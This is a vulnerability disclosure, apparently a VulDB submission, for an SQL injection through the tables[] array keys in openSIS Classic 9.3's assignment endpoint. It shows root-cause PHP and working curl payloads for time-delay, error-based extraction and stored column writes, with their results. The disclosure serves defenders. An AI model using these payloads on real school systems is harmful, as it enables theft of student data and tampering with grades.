제출 #954960: os4ed openSIS Classic (Community Edition) 9.3 SQL Injection정보

제목os4ed openSIS Classic (Community Edition) 9.3 SQL Injection
설명## Affected Software - **Product**: openSIS Classic (Community Edition) - **Version**: 9.3 - **Repository**: https://github.com/OS4ED/openSIS-Classic - **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag) ## Vulnerability Description The assignment management endpoint (`modules/grades/Assignments.php`) concatenates the **array keys** of the POST form field `tables[]` into SQL in two places: the first-level key goes into the numeric position of a SELECT's WHERE clause (`WHERE assignment_id =<key>`), and the second-level key goes into the SET clause of the subsequent UPDATE statement (`SET <column key>='<value>'`). Neither concatenation is validated or parameterized, and a teacher account is sufficient to reach both. The first-level key is an immediately-executing injection: the expression embedded in the key runs against the database the moment the save request is submitted, supporting boolean-based time-delay and error-based data extraction. The second-level key produces the stored impact: the attacker's SET expression decides what value the UPDATE writes, and the result persists in the `gradebook_assignments` table. Both concatenations share the same root cause (unvalidated `tables[]` keys) and are reachable in the same save request. ## Root Cause `modules/grades/Assignments.php` (the assignment-save branch): ```php foreach ($_REQUEST['tables'] as $id => $columns) { // ... if ($id != 'new') { $get_custom_ass = DBGet(DBQuery('SELECT ASSIGNMENT_TYPE_ID FROM gradebook_assignments WHERE assignment_id =' . $id)); // ... $value = singleQuoteReplace('', '', $value); $sql .= $column . '=\'' . $value . '\','; } $sql = substr($sql, 0, -1) . ' WHERE ' . substr($table, 10, -1) . '_ID=\'' . $id . '\''; // ... if ($_REQUEST['assignment_id'] != '') { DBQuery_assignment($sql); ``` The first-level key `$id` is dropped straight into the numeric position of the WHERE clause with no type cast or whitelist. `singleQuoteReplace()` only sanitizes the **value**; the second-level key `$column` (the column-name key of `tables[...][...]`) is concatenated into the SET clause at the column-name position as-is. The assembled UPDATE is then handed to `DBQuery_assignment()`. When a statement fails, the application's error page echoes the fully assembled SQL plus the database error message, which provides an error-based channel. ## Proof of Concept Log in as a teacher (assignment management is a teacher-privileged function). `<session_cookie>` is the session cookie from the teacher login, `<target>` is the target host, and the assignment ID points at an existing assignment (ID=1 in the test environment). **Injection point A (SELECT WHERE numeric position)** — boolean time-delay, control versus injected key: ```bash curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=grades/Assignments.php&table=gradebook_assignments&assignment_id=1' \ -b '<session_cookie>' \ --data-urlencode 'tables[1][TITLE]=zdqk7basea' curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=grades/Assignments.php&table=gradebook_assignments&assignment_id=1' \ -b '<session_cookie>' \ --data-urlencode 'tables[1/**/and/**/sleep(5)][TITLE]=zdqk7truea' ``` **Injection point A, error-based extraction** — an `extractvalue` expression in the key; the error page echoes the database version and schema name: ```bash curl -s -X POST \ 'http://<target>/Modules.php?modname=grades/Assignments.php&table=gradebook_assignments&assignment_id=1' \ -b '<session_cookie>' \ --data-urlencode 'tables[1/**/and/**/extractvalue(1,concat(0x7e,version(),0x7e,database()))][TITLE]=zdqk7xptha' ``` **Injection point B (UPDATE SET column position, stored controlled write)** — the column-name key carries a conditional expression whose value decides what gets written into the TITLE column: ```bash curl -s -o /dev/null -X POST \ 'http://<target>/Modules.php?modname=grades/Assignments.php&table=gradebook_assignments&assignment_id=1' \ -b '<session_cookie>' \ --data-urlencode 'tables[1][TITLE=(select/**/if(1=1,0x7a64716b37776d61726b,0))/**/#]=w1' ``` (`0x7a64716b37776d61726b` is the hex encoding of the marker string `zdqk7wmark`; switching the condition to `1=2` gives the control request.) Expected result: injection point A takes about 5 seconds with the true condition and about 0.13 s for the control; the error-based request shows `XPATH syntax error: '~<db version>~<db name>~'` on the response page; after the injection point B request, the assignment's TITLE column reads the marker `zdqk7wmark` (`'0'` when the condition is false), persistently and switching with the injected expression. | Request | Result | | ----------------------------------------------------------- | ------------------------------------------------------------ | | Point A control (`tables[1][TITLE]=...`) | 0.128 s | | Point A, true condition (`1/**/and/**/sleep(5)`) | **5.125 s** | | Point A, false condition (`1/**/and/**/if(1=2,sleep(5),0)`) | 0.127 s | | Point A, `extractvalue` | Error page echoes `XPATH syntax error: '~10.11.16-MariaDB-ubu2204~ope...'` (database version and schema name prefix) | | Point B, true condition | 0.132 s; database check: TITLE = `zdqk7wmark` | | Point B, false condition | 0.125 s; database check: TITLE = `'0'` | Database state check (read-only query on the TITLE column of `gradebook_assignments` with `ASSIGNMENT_ID=1`): ## Impact A teacher-level attacker can use injection point A for boolean time-delay and error-based extraction to read arbitrary database content bit by bit, and injection point B to execute arbitrary SET expressions with the application's database credentials, rewriting any column of gradebook assignment records (title, points, course period assignment, etc.). Point B writes persist, so tampered assignment data stays effective in grade calculations and in teacher/student views. ## Suggested Fix Use parameterized queries/prepared statements and whitelist the allowed table/column names instead of concatenating the attacker-controlled array keys into the SELECT and UPDATE statements.
원천⚠️ https://github.com/OS4ED/openSIS-Classic/issues/474
사용자
 360alphalab (UID 100924)
제출2026. 09. 01. AM 07:50 (30 날 ago)
모더레이션2026. 09. 30. AM 07:51 (29 days later)
상태수락
VulDB 항목411870 [OS4ED openSIS-Classic 까지 9.3 Assignment Management Endpoint Assignments.php DBQuery_assignment 테이블 SQL 주입]
포인트들20

Do you want to use VulDB in your project?

Use the official API to access entries easily!